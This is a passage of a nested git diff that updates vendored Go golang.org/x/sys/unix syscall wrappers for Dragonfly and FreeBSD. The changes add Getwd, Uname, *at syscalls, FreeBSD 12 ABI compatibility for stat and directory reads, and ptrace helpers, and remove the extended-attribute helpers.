-+//sys Getcwd(buf []byte) (n int, err error) = SYS___GETCWD
-+
-+func Getwd() (string, error) {
-+ var buf [PathMax]byte
-+ _, err := Getcwd(buf[0:])
-+ if err != nil {
-+ return "", err
-+ }
-+ n := clen(buf[:])
-+ if n < 1 {
-+ return "", EINVAL
-+ }
-+ return string(buf[:n]), nil
-+}
-+
- func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- var _p0 unsafe.Pointer
- var bufsize uintptr
-@@ -125,6 +161,85 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- return
- }
-
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ // used on Darwin for UtimesNano
-+ return ENOSYS
-+}
-+
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-+
-+func sysctlUname(mib []_C_int, old *byte, oldlen *uintptr) error {
-+ err := sysctl(mib, old, oldlen, nil, 0)
-+ if err != nil {
-+ // Utsname members on Dragonfly are only 32 bytes and
-+ // the syscall returns ENOMEM in case the actual value
-+ // is longer.
-+ if err == ENOMEM {
-+ err = nil
-+ }
-+ }
-+ return err
-+}
-+
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctlUname(mib, &uname.Sysname[0], &n); err != nil {
-+ return err
-+ }
-+ uname.Sysname[unsafe.Sizeof(uname.Sysname)-1] = 0
-+
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctlUname(mib, &uname.Nodename[0], &n); err != nil {
-+ return err
-+ }
-+ uname.Nodename[unsafe.Sizeof(uname.Nodename)-1] = 0
-+
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctlUname(mib, &uname.Release[0], &n); err != nil {
-+ return err
-+ }
-+ uname.Release[unsafe.Sizeof(uname.Release)-1] = 0
-+
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctlUname(mib, &uname.Version[0], &n); err != nil {
-+ return err
-+ }
-+
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
-+ }
-+
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctlUname(mib, &uname.Machine[0], &n); err != nil {
-+ return err
-+ }
-+ uname.Machine[unsafe.Sizeof(uname.Machine)-1] = 0
-+
-+ return nil
-+}
-+
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-+
- /*
- * Exposed directly
- */
-@@ -139,16 +254,21 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Dup(fd int) (nfd int, err error)
- //sys Dup2(from int, to int) (err error)
- //sys Exit(code int)
-+//sys Faccessat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchdir(fd int) (err error)
- //sys Fchflags(fd int, flags int) (err error)
- //sys Fchmod(fd int, mode uint32) (err error)
-+//sys Fchmodat(dirfd int, path string, mode uint32, flags int) (err error)
- //sys Fchown(fd int, uid int, gid int) (err error)
-+//sys Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error)
- //sys Flock(fd int, how int) (err error)
- //sys Fpathconf(fd int, name int) (val int, err error)
- //sys Fstat(fd int, stat *Stat_t) (err error)
-+//sys Fstatat(fd int, path string, stat *Stat_t, flags int) (err error)
- //sys Fstatfs(fd int, stat *Statfs_t) (err error)
- //sys Fsync(fd int) (err error)
- //sys Ftruncate(fd int, length int64) (err error)
-+//sys Getdents(fd int, buf []byte) (n int, err error)
- //sys Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error)
- //sys Getdtablesize() (size int)
- //sysnb Getegid() (egid int)
-@@ -169,21 +289,26 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Kqueue() (fd int, err error)
- //sys Lchown(path string, uid int, gid int) (err error)
- //sys Link(path string, link string) (err error)
-+//sys Linkat(pathfd int, path string, linkfd int, link string, flags int) (err error)
- //sys Listen(s int, backlog int) (err error)
- //sys Lstat(path string, stat *Stat_t) (err error)
- //sys Mkdir(path string, mode uint32) (err error)
-+//sys Mkdirat(dirfd int, path string, mode uint32) (err error)
- //sys Mkfifo(path string, mode uint32) (err error)
- //sys Mknod(path string, mode uint32, dev int) (err error)
-+//sys Mknodat(fd int, path string, mode uint32, dev int) (err error)
- //sys Nanosleep(time *Timespec, leftover *Timespec) (err error)
- //sys Open(path string, mode int, perm uint32) (fd int, err error)
-+//sys Openat(dirfd int, path string, mode int, perm uint32) (fd int, err error)
- //sys Pathconf(path string, name int) (val int, err error)
- //sys read(fd int, p []byte) (n int, err error)
- //sys Readlink(path string, buf []byte) (n int, err error)
- //sys Rename(from string, to string) (err error)
-+//sys Renameat(fromfd int, from string, tofd int, to string) (err error)
- //sys Revoke(path string) (err error)
- //sys Rmdir(path string) (err error)
- //sys Seek(fd int, offset int64, whence int) (newoffset int64, err error) = SYS_LSEEK
--//sys Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error)
-+//sys Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error)
- //sysnb Setegid(egid int) (err error)
- //sysnb Seteuid(euid int) (err error)
- //sysnb Setgid(gid int) (err error)
-@@ -201,11 +326,13 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- //sys Stat(path string, stat *Stat_t) (err error)
- //sys Statfs(path string, stat *Statfs_t) (err error)
- //sys Symlink(path string, link string) (err error)
-+//sys Symlinkat(oldpath string, newdirfd int, newpath string) (err error)
- //sys Sync() (err error)
- //sys Truncate(path string, length int64) (err error)
- //sys Umask(newmask int) (oldmask int)
- //sys Undelete(path string) (err error)
- //sys Unlink(path string) (err error)
-+//sys Unlinkat(dirfd int, path string, flags int) (err error)
- //sys Unmount(path string, flags int) (err error)
- //sys write(fd int, p []byte) (n int, err error)
- //sys mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error)
-@@ -225,7 +352,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // Getlogin
- // Sigpending
- // Sigaltstack
--// Ioctl
- // Reboot
- // Execve
- // Vfork
-@@ -257,7 +383,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // Searchfs
- // Delete
- // Copyfile
--// Poll
- // Watchevent
- // Waitevent
- // Modwatch
-@@ -403,7 +528,6 @@ func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
- // Pread_nocancel
- // Pwrite_nocancel
- // Waitid_nocancel
--// Poll_nocancel
- // Msgsnd_nocancel
- // Msgrcv_nocancel
- // Sem_wait_nocancel
-diff --git a/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go b/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-index da7cb798..a6b4830a 100644
---- a/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_dragonfly_amd64.go
-@@ -11,21 +11,12 @@ import (
- "unsafe"
- )
-
--func Getpagesize() int { return 4096 }
--
--func TimespecToNsec(ts Timespec) int64 { return int64(ts.Sec)*1e9 + int64(ts.Nsec) }
--
--func NsecToTimespec(nsec int64) (ts Timespec) {
-- ts.Sec = nsec / 1e9
-- ts.Nsec = nsec % 1e9
-- return
-+func setTimespec(sec, nsec int64) Timespec {
-+ return Timespec{Sec: sec, Nsec: nsec}
- }
-
--func NsecToTimeval(nsec int64) (tv Timeval) {
-- nsec += 999 // round up to microsecond
-- tv.Usec = nsec % 1e9 / 1e3
-- tv.Sec = int64(nsec / 1e9)
-- return
-+func setTimeval(sec, usec int64) Timeval {
-+ return Timeval{Sec: sec, Usec: usec}
- }
-
- func SetKevent(k *Kevent_t, fd, mode, flags int) {
-@@ -42,6 +33,10 @@ func (msghdr *Msghdr) SetControllen(length int) {
- msghdr.Controllen = uint32(length)
- }
-
-+func (msghdr *Msghdr) SetIovlen(length int) {
-+ msghdr.Iovlen = int32(length)
-+}
-+
- func (cmsg *Cmsghdr) SetLen(length int) {
- cmsg.Len = uint32(length)
- }
-diff --git a/vendor/golang.org/x/sys/unix/syscall_freebsd.go b/vendor/golang.org/x/sys/unix/syscall_freebsd.go
-index d26e52ea..6932e7c2 100644
---- a/vendor/golang.org/x/sys/unix/syscall_freebsd.go
-+++ b/vendor/golang.org/x/sys/unix/syscall_freebsd.go
-@@ -12,8 +12,36 @@
-
- package unix
-
--import "unsafe"
-+import (
-+ "sync"
-+ "unsafe"
-+)
-+
-+const (
-+ SYS_FSTAT_FREEBSD12 = 551 // { int fstat(int fd, _Out_ struct stat *sb); }
-+ SYS_FSTATAT_FREEBSD12 = 552 // { int fstatat(int fd, _In_z_ char *path, \
-+ SYS_GETDIRENTRIES_FREEBSD12 = 554 // { ssize_t getdirentries(int fd, \
-+ SYS_STATFS_FREEBSD12 = 555 // { int statfs(_In_z_ char *path, \
-+ SYS_FSTATFS_FREEBSD12 = 556 // { int fstatfs(int fd, \
-+ SYS_GETFSSTAT_FREEBSD12 = 557 // { int getfsstat( \
-+ SYS_MKNODAT_FREEBSD12 = 559 // { int mknodat(int fd, _In_z_ char *path, \
-+)
-+
-+// See https://www.freebsd.org/doc/en_US.ISO8859-1/books/porters-handbook/versions.html.
-+var (
-+ osreldateOnce sync.Once
-+ osreldate uint32
-+)
-+
-+// INO64_FIRST from /usr/src/lib/libc/sys/compat-ino64.h
-+const _ino64First = 1200031
-+
-+func supportsABI(ver uint32) bool {
-+ osreldateOnce.Do(func() { osreldate, _ = SysctlUint32("kern.osreldate") })
-+ return osreldate >= ver
-+}
-
-+// SockaddrDatalink implements the Sockaddr interface for AF_LINK type sockets.
- type SockaddrDatalink struct {
- Len uint8
- Family uint8
-@@ -32,7 +60,7 @@ func nametomib(name string) (mib []_C_int, err error) {
-
- // NOTE(rsc): It seems strange to set the buffer to have
- // size CTL_MAXNAME+2 but use only CTL_MAXNAME
-- // as the size. I don't know why the +2 is here, but the
-+ // as the size. I don't know why the +2 is here, but the
- // kernel uses +2 for its own implementation of this function.
- // I am scared that if we don't include the +2 here, the kernel
- // will silently write 2 words farther than we specify
-@@ -66,14 +94,21 @@ func direntNamlen(buf []byte) (uint64, bool) {
- return readInt(buf, unsafe.Offsetof(Dirent{}.Namlen), unsafe.Sizeof(Dirent{}.Namlen))
- }
-
--//sysnb pipe() (r int, w int, err error)
--
- func Pipe(p []int) (err error) {
-+ return Pipe2(p, 0)
-+}
-+
-+//sysnb pipe2(p *[2]_C_int, flags int) (err error)
-+
-+func Pipe2(p []int, flags int) error {
- if len(p) != 2 {
- return EINVAL
- }
-- p[0], p[1], err = pipe()
-- return
-+ var pp [2]_C_int
-+ err := pipe2(&pp, flags)
-+ p[0] = int(pp[0])
-+ p[1] = int(pp[1])
-+ return err
- }
-
- func GetsockoptIPMreqn(fd, level, opt int) (*IPMreqn, error) {
-@@ -97,7 +132,7 @@ func Accept4(fd, flags int) (nfd int, sa Sockaddr, err error) {
- if len > SizeofSockaddrAny {
- panic("RawSockaddrAny too small")
- }
-- sa, err = anyToSockaddr(&rsa)
-+ sa, err = anyToSockaddr(fd, &rsa)
- if err != nil {
- Close(nfd)
- nfd = 0
-@@ -105,290 +140,421 @@ func Accept4(fd, flags int) (nfd int, sa Sockaddr, err error) {
- return
- }
-
-+const ImplementsGetwd = true
-+
-+//sys Getcwd(buf []byte) (n int, err error) = SYS___GETCWD
-+
-+func Getwd() (string, error) {
-+ var buf [PathMax]byte
-+ _, err := Getcwd(buf[0:])
-+ if err != nil {
-+ return "", err
-+ }
-+ n := clen(buf[:])
-+ if n < 1 {
-+ return "", EINVAL
-+ }
-+ return string(buf[:n]), nil
-+}
-+
- func Getfsstat(buf []Statfs_t, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- var bufsize uintptr
-+ var (
-+ _p0 unsafe.Pointer
-+ bufsize uintptr
-+ oldBuf []statfs_freebsd11_t
-+ needsConvert bool
-+ )
-+
- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- bufsize = unsafe.Sizeof(Statfs_t{}) * uintptr(len(buf))
-+ if supportsABI(_ino64First) {
-+ _p0 = unsafe.Pointer(&buf[0])
-+ bufsize = unsafe.Sizeof(Statfs_t{}) * uintptr(len(buf))
-+ } else {
-+ n := len(buf)
-+ oldBuf = make([]statfs_freebsd11_t, n)
-+ _p0 = unsafe.Pointer(&oldBuf[0])
-+ bufsize = unsafe.Sizeof(statfs_freebsd11_t{}) * uintptr(n)
-+ needsConvert = true
-+ }
-+ }
-+ var sysno uintptr = SYS_GETFSSTAT
-+ if supportsABI(_ino64First) {
-+ sysno = SYS_GETFSSTAT_FREEBSD12
- }
-- r0, _, e1 := Syscall(SYS_GETFSSTAT, uintptr(_p0), bufsize, uintptr(flags))
-+ r0, _, e1 := Syscall(sysno, uintptr(_p0), bufsize, uintptr(flags))
- n = int(r0)
- if e1 != 0 {
- err = e1
- }
-+ if e1 == 0 && needsConvert {
-+ for i := range oldBuf {
-+ buf[i].convertFrom(&oldBuf[i])
-+ }
-+ }
- return
- }
-
--// Derive extattr namespace and attribute name
-+func setattrlistTimes(path string, times []Timespec, flags int) error {
-+ // used on Darwin for UtimesNano
-+ return ENOSYS
-+}
-
--func xattrnamespace(fullattr string) (ns int, attr string, err error) {
-- s := -1
-- for idx, val := range fullattr {
-- if val == '.' {
-- s = idx
-- break
-- }
-+//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+
-+//sys sysctl(mib []_C_int, old *byte, oldlen *uintptr, new *byte, newlen uintptr) (err error) = SYS___SYSCTL
-+
-+func Uname(uname *Utsname) error {
-+ mib := []_C_int{CTL_KERN, KERN_OSTYPE}
-+ n := unsafe.Sizeof(uname.Sysname)
-+ if err := sysctl(mib, &uname.Sysname[0], &n, nil, 0); err != nil {
-+ return err
- }
-
-- if s == -1 {
-- return -1, "", ENOATTR
-+ mib = []_C_int{CTL_KERN, KERN_HOSTNAME}
-+ n = unsafe.Sizeof(uname.Nodename)
-+ if err := sysctl(mib, &uname.Nodename[0], &n, nil, 0); err != nil {
-+ return err
- }
-
-- namespace := fullattr[0:s]
-- attr = fullattr[s+1:]
-+ mib = []_C_int{CTL_KERN, KERN_OSRELEASE}
-+ n = unsafe.Sizeof(uname.Release)
-+ if err := sysctl(mib, &uname.Release[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
-- switch namespace {
-- case "user":
-- return EXTATTR_NAMESPACE_USER, attr, nil
-- case "system":
-- return EXTATTR_NAMESPACE_SYSTEM, attr, nil
-- default:
-- return -1, "", ENOATTR
-+ mib = []_C_int{CTL_KERN, KERN_VERSION}
-+ n = unsafe.Sizeof(uname.Version)
-+ if err := sysctl(mib, &uname.Version[0], &n, nil, 0); err != nil {
-+ return err
- }
--}
-
--func initxattrdest(dest []byte, idx int) (d unsafe.Pointer) {
-- if len(dest) > idx {
-- return unsafe.Pointer(&dest[idx])
-- } else {
-- return unsafe.Pointer(_zero)
-+ // The version might have newlines or tabs in it, convert them to
-+ // spaces.
-+ for i, b := range uname.Version {
-+ if b == '\n' || b == '\t' {
-+ if i == len(uname.Version)-1 {
-+ uname.Version[i] = 0
-+ } else {
-+ uname.Version[i] = ' '
-+ }
-+ }
- }
--}
-
--// FreeBSD implements its own syscalls to handle extended attributes
-+ mib = []_C_int{CTL_HW, HW_MACHINE}
-+ n = unsafe.Sizeof(uname.Machine)
-+ if err := sysctl(mib, &uname.Machine[0], &n, nil, 0); err != nil {
-+ return err
-+ }
-
--func Getxattr(file string, attr string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsize := len(dest)
-+ return nil
-+}
-
-- nsid, a, err := xattrnamespace(attr)
-+func Stat(path string, st *Stat_t) (err error) {
-+ var oldStat stat_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstatat_freebsd12(AT_FDCWD, path, st, 0)
-+ }
-+ err = stat(path, &oldStat)
- if err != nil {
-- return -1, err
-+ return err
- }
-
-- return ExtattrGetFile(file, nsid, a, uintptr(d), destsize)
-+ st.convertFrom(&oldStat)
-+ return nil
- }
-
--func Fgetxattr(fd int, attr string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsize := len(dest)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Lstat(path string, st *Stat_t) (err error) {
-+ var oldStat stat_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstatat_freebsd12(AT_FDCWD, path, st, AT_SYMLINK_NOFOLLOW)
-+ }
-+ err = lstat(path, &oldStat)
- if err != nil {
-- return -1, err
-+ return err
- }
-
-- return ExtattrGetFd(fd, nsid, a, uintptr(d), destsize)
-+ st.convertFrom(&oldStat)
-+ return nil
- }
-
--func Lgetxattr(link string, attr string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsize := len(dest)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Fstat(fd int, st *Stat_t) (err error) {
-+ var oldStat stat_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstat_freebsd12(fd, st)
-+ }
-+ err = fstat(fd, &oldStat)
- if err != nil {
-- return -1, err
-+ return err
- }
-
-- return ExtattrGetLink(link, nsid, a, uintptr(d), destsize)
-+ st.convertFrom(&oldStat)
-+ return nil
- }
-
--// flags are unused on FreeBSD
--
--func Fsetxattr(fd int, attr string, data []byte, flags int) (err error) {
-- d := unsafe.Pointer(&data[0])
-- datasiz := len(data)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Fstatat(fd int, path string, st *Stat_t, flags int) (err error) {
-+ var oldStat stat_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstatat_freebsd12(fd, path, st, flags)
-+ }
-+ err = fstatat(fd, path, &oldStat, flags)
- if err != nil {
-- return
-+ return err
- }
-
-- _, err = ExtattrSetFd(fd, nsid, a, uintptr(d), datasiz)
-- return
-+ st.convertFrom(&oldStat)
-+ return nil
- }
-
--func Setxattr(file string, attr string, data []byte, flags int) (err error) {
-- d := unsafe.Pointer(&data[0])
-- datasiz := len(data)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Statfs(path string, st *Statfs_t) (err error) {
-+ var oldStatfs statfs_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return statfs_freebsd12(path, st)
-+ }
-+ err = statfs(path, &oldStatfs)
- if err != nil {
-- return
-+ return err
- }
-
-- _, err = ExtattrSetFile(file, nsid, a, uintptr(d), datasiz)
-- return
-+ st.convertFrom(&oldStatfs)
-+ return nil
- }
-
--func Lsetxattr(link string, attr string, data []byte, flags int) (err error) {
-- d := unsafe.Pointer(&data[0])
-- datasiz := len(data)
--
-- nsid, a, err := xattrnamespace(attr)
-+func Fstatfs(fd int, st *Statfs_t) (err error) {
-+ var oldStatfs statfs_freebsd11_t
-+ if supportsABI(_ino64First) {
-+ return fstatfs_freebsd12(fd, st)
-+ }
-+ err = fstatfs(fd, &oldStatfs)
- if err != nil {
-- return
-+ return err
- }
-
-- _, err = ExtattrSetLink(link, nsid, a, uintptr(d), datasiz)
-- return
-+ st.convertFrom(&oldStatfs)
-+ return nil
- }
-
--func Removexattr(file string, attr string) (err error) {
-- nsid, a, err := xattrnamespace(attr)
-- if err != nil {
-+func Getdents(fd int, buf []byte) (n int, err error) {
-+ return Getdirentries(fd, buf, nil)
-+}
-+
-+func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
-+ if supportsABI(_ino64First) {
-+ if basep == nil || unsafe.Sizeof(*basep) == 8 {
-+ return getdirentries_freebsd12(fd, buf, (*uint64)(unsafe.Pointer(basep)))
-+ }
-+ // The freebsd12 syscall needs a 64-bit base. On 32-bit machines
-+ // we can't just use the basep passed in. See #32498.
-+ var base uint64 = uint64(*basep)
-+ n, err = getdirentries_freebsd12(fd, buf, &base)
-+ *basep = uintptr(base)
-+ if base>>32 != 0 {
-+ // We can't stuff the base back into a uintptr, so any
-+ // future calls would be suspect. Generate an error.
-+ // EIO is allowed by getdirentries.
-+ err = EIO
-+ }
- return
- }
-
-- err = ExtattrDeleteFile(file, nsid, a)
-+ // The old syscall entries are smaller than the new. Use 1/4 of the original
-+ // buffer size rounded up to DIRBLKSIZ (see /usr/src/lib/libc/sys/getdirentries.c).
-+ oldBufLen := roundup(len(buf)/4, _dirblksiz)
-+ oldBuf := make([]byte, oldBufLen)
-+ n, err = getdirentries(fd, oldBuf, basep)
-+ if err == nil && n > 0 {
-+ n = convertFromDirents11(buf, oldBuf[:n])
-+ }
- return
- }
-
--func Fremovexattr(fd int, attr string) (err error) {
-- nsid, a, err := xattrnamespace(attr)
-- if err != nil {
-- return
-+func Mknod(path string, mode uint32, dev uint64) (err error) {
-+ var oldDev int
-+ if supportsABI(_ino64First) {
-+ return mknodat_freebsd12(AT_FDCWD, path, mode, dev)
- }
--
-- err = ExtattrDeleteFd(fd, nsid, a)
-- return
-+ oldDev = int(dev)
-+ return mknod(path, mode, oldDev)
- }
-
--func Lremovexattr(link string, attr string) (err error) {
-- nsid, a, err := xattrnamespace(attr)
-- if err != nil {
-- return
-+func Mknodat(fd int, path string, mode uint32, dev uint64) (err error) {
-+ var oldDev int
-+ if supportsABI(_ino64First) {
-+ return mknodat_freebsd12(fd, path, mode, dev)
- }
-+ oldDev = int(dev)
-+ return mknodat(fd, path, mode, oldDev)
-+}
-
-- err = ExtattrDeleteLink(link, nsid, a)
-- return
-+// round x to the nearest multiple of y, larger or equal to x.
-+//
-+// from /usr/include/sys/param.h Macros for counting and rounding.
-+// #define roundup(x, y) ((((x)+((y)-1))/(y))*(y))
-+func roundup(x, y int) int {
-+ return ((x + y - 1) / y) * y
- }
-
--func Listxattr(file string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsiz := len(dest)
--
-- // FreeBSD won't allow you to list xattrs from multiple namespaces
-- s := 0
-- var e error
-- for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-- stmp, e := ExtattrListFile(file, nsid, uintptr(d), destsiz)
--
-- /* Errors accessing system attrs are ignored so that
-- * we can implement the Linux-like behavior of omitting errors that
-- * we don't have read permissions on
-- *
-- * Linux will still error if we ask for user attributes on a file that
-- * we don't have read permissions on, so don't ignore those errors
-- */
-- if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-- e = nil
-- continue
-- } else if e != nil {
-- return s, e
-- }
-+func (s *Stat_t) convertFrom(old *stat_freebsd11_t) {
-+ *s = Stat_t{
-+ Dev: uint64(old.Dev),
-+ Ino: uint64(old.Ino),
-+ Nlink: uint64(old.Nlink),
-+ Mode: old.Mode,
-+ Uid: old.Uid,
-+ Gid: old.Gid,
-+ Rdev: uint64(old.Rdev),
-+ Atim: old.Atim,
-+ Mtim: old.Mtim,
-+ Ctim: old.Ctim,
-+ Btim: old.Btim,
-+ Size: old.Size,
-+ Blocks: old.Blocks,
-+ Blksize: old.Blksize,
-+ Flags: old.Flags,
-+ Gen: uint64(old.Gen),
-+ }
-+}
-
-- s += stmp
-- destsiz -= s
-- if destsiz < 0 {
-- destsiz = 0
-- }
-- d = initxattrdest(dest, s)
-+func (s *Statfs_t) convertFrom(old *statfs_freebsd11_t) {
-+ *s = Statfs_t{
-+ Version: _statfsVersion,
-+ Type: old.Type,
-+ Flags: old.Flags,
-+ Bsize: old.Bsize,
-+ Iosize: old.Iosize,
-+ Blocks: old.Blocks,
-+ Bfree: old.Bfree,
-+ Bavail: old.Bavail,
-+ Files: old.Files,
-+ Ffree: old.Ffree,
-+ Syncwrites: old.Syncwrites,
-+ Asyncwrites: old.Asyncwrites,
-+ Syncreads: old.Syncreads,
-+ Asyncreads: old.Asyncreads,
-+ // Spare
-+ Namemax: old.Namemax,
-+ Owner: old.Owner,
-+ Fsid: old.Fsid,
-+ // Charspare
-+ // Fstypename
-+ // Mntfromname
-+ // Mntonname
- }
-
-- return s, e
-+ sl := old.Fstypename[:]
-+ n := clen(*(*[]byte)(unsafe.Pointer(&sl)))
-+ copy(s.Fstypename[:], old.Fstypename[:n])
-+
-+ sl = old.Mntfromname[:]
-+ n = clen(*(*[]byte)(unsafe.Pointer(&sl)))
-+ copy(s.Mntfromname[:], old.Mntfromname[:n])
-+
-+ sl = old.Mntonname[:]
-+ n = clen(*(*[]byte)(unsafe.Pointer(&sl)))
-+ copy(s.Mntonname[:], old.Mntonname[:n])
- }
-
--func Flistxattr(fd int, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsiz := len(dest)
-+func convertFromDirents11(buf []byte, old []byte) int {
-+ const (
-+ fixedSize = int(unsafe.Offsetof(Dirent{}.Name))
-+ oldFixedSize = int(unsafe.Offsetof(dirent_freebsd11{}.Name))
-+ )
-+
-+ dstPos := 0
-+ srcPos := 0
-+ for dstPos+fixedSize < len(buf) && srcPos+oldFixedSize < len(old) {
-+ var dstDirent Dirent
-+ var srcDirent dirent_freebsd11
-
-- s := 0
-- var e error
-- for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-- stmp, e := ExtattrListFd(fd, nsid, uintptr(d), destsiz)
-- if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-- e = nil
-- continue
-- } else if e != nil {
-- return s, e
-+ // If multiple direntries are written, sometimes when we reach the final one,
-+ // we may have cap of old less than size of dirent_freebsd11.
-+ copy((*[unsafe.Sizeof(srcDirent)]byte)(unsafe.Pointer(&srcDirent))[:], old[srcPos:])
-+
-+ reclen := roundup(fixedSize+int(srcDirent.Namlen)+1, 8)
-+ if dstPos+reclen > len(buf) {
-+ break
- }
-
-- s += stmp
-- destsiz -= s
-- if destsiz < 0 {
-- destsiz = 0
-+ dstDirent.Fileno = uint64(srcDirent.Fileno)
-+ dstDirent.Off = 0
-+ dstDirent.Reclen = uint16(reclen)
-+ dstDirent.Type = srcDirent.Type
-+ dstDirent.Pad0 = 0
-+ dstDirent.Namlen = uint16(srcDirent.Namlen)
-+ dstDirent.Pad1 = 0
-+
-+ copy(dstDirent.Name[:], srcDirent.Name[:srcDirent.Namlen])
-+ copy(buf[dstPos:], (*[unsafe.Sizeof(dstDirent)]byte)(unsafe.Pointer(&dstDirent))[:])
-+ padding := buf[dstPos+fixedSize+int(dstDirent.Namlen) : dstPos+reclen]
-+ for i := range padding {
-+ padding[i] = 0
- }
-- d = initxattrdest(dest, s)
-+
-+ dstPos += int(dstDirent.Reclen)
-+ srcPos += int(srcDirent.Reclen)
- }
-
-- return s, e
-+ return dstPos
- }
-
--func Llistxattr(link string, dest []byte) (sz int, err error) {
-- d := initxattrdest(dest, 0)
-- destsiz := len(dest)
-+func Sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ if raceenabled {
-+ raceReleaseMerge(unsafe.Pointer(&ioSync))
-+ }
-+ return sendfile(outfd, infd, offset, count)
-+}
-
-- s := 0
-- var e error
-- for _, nsid := range [...]int{EXTATTR_NAMESPACE_USER, EXTATTR_NAMESPACE_SYSTEM} {
-- stmp, e := ExtattrListLink(link, nsid, uintptr(d), destsiz)
-- if e != nil && e == EPERM && nsid != EXTATTR_NAMESPACE_USER {
-- e = nil
-- continue
-- } else if e != nil {
-- return s, e
-- }
-+//sys ptrace(request int, pid int, addr uintptr, data int) (err error)
-
-- s += stmp
-- destsiz -= s
-- if destsiz < 0 {
-- destsiz = 0
-- }
-- d = initxattrdest(dest, s)
-- }
-+func PtraceAttach(pid int) (err error) {
-+ return ptrace(PTRACE_ATTACH, pid, 0, 0)
-+}
-
-- return s, e
-+func PtraceCont(pid int, signal int) (err error) {
-+ return ptrace(PTRACE_CONT, pid, 1, signal)
- }
-
--//sys ioctl(fd int, req uint, arg uintptr) (err error)
-+func PtraceDetach(pid int) (err error) {
-+ return ptrace(PTRACE_DETACH, pid, 1, 0)
-+}
-+
-+func PtraceGetFpRegs(pid int, fpregsout *FpReg) (err error) {
-+ return ptrace(PTRACE_GETFPREGS, pid, uintptr(unsafe.Pointer(fpregsout)), 0)
-+}
-
--// ioctl itself should not be exposed directly, but additional get/set
--// functions for specific types are permissible.
-+func PtraceGetRegs(pid int, regsout *Reg) (err error) {
-+ return ptrace(PTRACE_GETREGS, pid, uintptr(unsafe.Pointer(regsout)), 0)
-+}
-+
-+func PtraceLwpEvents(pid int, enable int) (err error) {
-+ return ptrace(PTRACE_LWPEVENTS, pid, 0, enable)
-+}
-+
-+func PtraceLwpInfo(pid int, info uintptr) (err error) {
-+ return ptrace(PTRACE_LWPINFO, pid, info, int(unsafe.Sizeof(PtraceLwpInfoStruct{})))
-+}
-
--// IoctlSetInt performs an ioctl operation which sets an integer value
--// on fd, using the specified request number.
--func IoctlSetInt(fd int, req uint, value int) error {
-- return ioctl(fd, req, uintptr(value))
-+func PtracePeekData(pid int, addr uintptr, out []byte) (count int, err error) {
-+ return PtraceIO(PIOD_READ_D, pid, addr, out, SizeofLong)
- }
-
--func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
-- return ioctl(fd, req, uintptr(unsafe.Pointer(value)))
